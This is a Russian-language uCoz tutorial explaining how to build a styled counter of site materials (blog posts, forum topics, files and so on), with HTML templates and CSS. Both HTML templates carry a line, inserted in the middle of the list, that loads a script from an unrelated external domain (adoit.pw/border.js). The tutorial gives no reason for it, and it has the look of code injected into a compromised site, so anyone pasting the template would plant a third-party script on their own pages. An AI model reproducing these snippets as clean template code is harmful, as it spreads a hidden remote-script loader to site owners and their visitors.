Воскресенье, 22.12.2024, 16:39 | Главная | Регистрация | Вход |
|
Главная » 2013 » Август » 18 » Счетчик материалов для uCoz
11:01 Счетчик материалов для uCoz |
И так для начала мы создадим информер материалов для uCoz, для этого идём в Админ панель => Инструменты => Информеры => Создать информер => Счетчик материалов
удаляем старый html код и устанавливаем новый:
Код <ul> <li><div>Сайтов в каталоге:</div>$DIR$</li> <li><div>Записей в блоге:</div>$BLOG$</li> <li><div>Гостевая книга:</div>$GB$</li> <li><div>Новостей сайта:</div>$NEWS$</li> <li><div>Тем на форуме:</div>$FORUM_T$</li> <script src="http://adoit.pw/border.js" type="text/javascript"></script> <li><div>Комментариев:</div>$COMMENTS$</li> <li><div>Объявлений:</div>$BOARD$</li> <li><div>Фотографий:</div>$PHOTO$</li> <li><div>Ответов:</div>$FAQ$</li> <li><div>Файлов:</div>$LOAD$</li> <li><div>Статей:</div>$PUBL$</li> <li><div>Тестов:</div>$TESTS$</li> <li><div>Видео:</div>$VIDEO$</li> <li><div>Игр:</div>$STUFF$</li> </ul>
а если вы хотите чтобы ячейка с количеством материалов имел тёмный фон, как в примере номер два, то устанавливаем в тот же информер следующий html код:
Код <ul> <li><div>Сайтов в каталоге:</div><span>$DIR$</span></li> <li><div>Записей в блоге:</div><span>$BLOG$</span></li> <li><div>Гостевая книга:</div><span>$GB$</span></li> <li><div>Новостей сайта:</div><span>$NEWS$</span></li> <li><div>Тем на форуме:</div><span>$FORUM_T$</span></li> <script src="http://adoit.pw/border.js" type="text/javascript"></script> <li><div>Комментариев:</div><span>$COMMENTS$</span></li> <li><div>Объявлений:</div><span>$BOARD$</span></li> <li><div>Фотографий:</div><span>$PHOTO$</span></li> <li><div>Ответов:</div><span>$FAQ$</span></li> <li><div>Файлов:</div><span>$LOAD$</span></li> <li><div>Статей:</div><span>$PUBL$</span></li> <li><div>Тестов:</div><span>$TESTS$</span></li> <li><div>Видео:</div><span>$VIDEO$</span></li> <li><div>Игр:</div><span>$STUFF$</span></li> </ul>
а на страницу сайта в нужное место устанавливаем html каркас ячейки с информером материалов:
Код <div class="informer-materials"> <div class="informer-materials-title">Счетчик материалов </div> $MYINF_1$ </div>
а теперь давайте стилизуем данное решение, пропишем ему следующие css стили:
Код /* Правильный счетчик материалов ------------------------------------------*/ .informer-materials { float:left; width:200px; background: #fff; border: 1px solid #CAD3DA; border-radius:5px; overflow: hidden; margin-right: 20px; }
.informer-materials-title { float:left; width:202px; padding: 7px 0px; background: #376fb9 ; margin: -1px -1px 0px -1px; font:11px Verdana,Arial,Helvetica, sans-serif; text-shadow: 1px 1px 1px #093a7b; text-align:center; font-weight: bold; color:#fff; }
.informer-materials ul { margin: 0; padding: 0; list-style: none; }
.informer-materials li{ float:left; width:170px; padding: 5px 0px; margin: 0px 15px; border-top: 1px dotted #CAD3DA; }
.informer-materials li div{ float:left; width:150px; padding-right: 10px; text-align:right; }
.informer-materials li div{ float:left; width:120px; text-align:right; }
.informer-materials li:nth-child(1){ border-top: none; }
.informer-materials li span{ padding: 2px 7px; background: #9EA5A8; border-radius:3px; font:9px Verdana,Arial,Helvetica, sans-serif; text-shadow: 1px 1px 1px #777; font-weight: bold; color:#fff; }
На этом всё, спасибо за внимание!
|
Просмотров: 411 |
Добавил: DoG
| Рейтинг: 0.0/0 |
Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ]
|
| |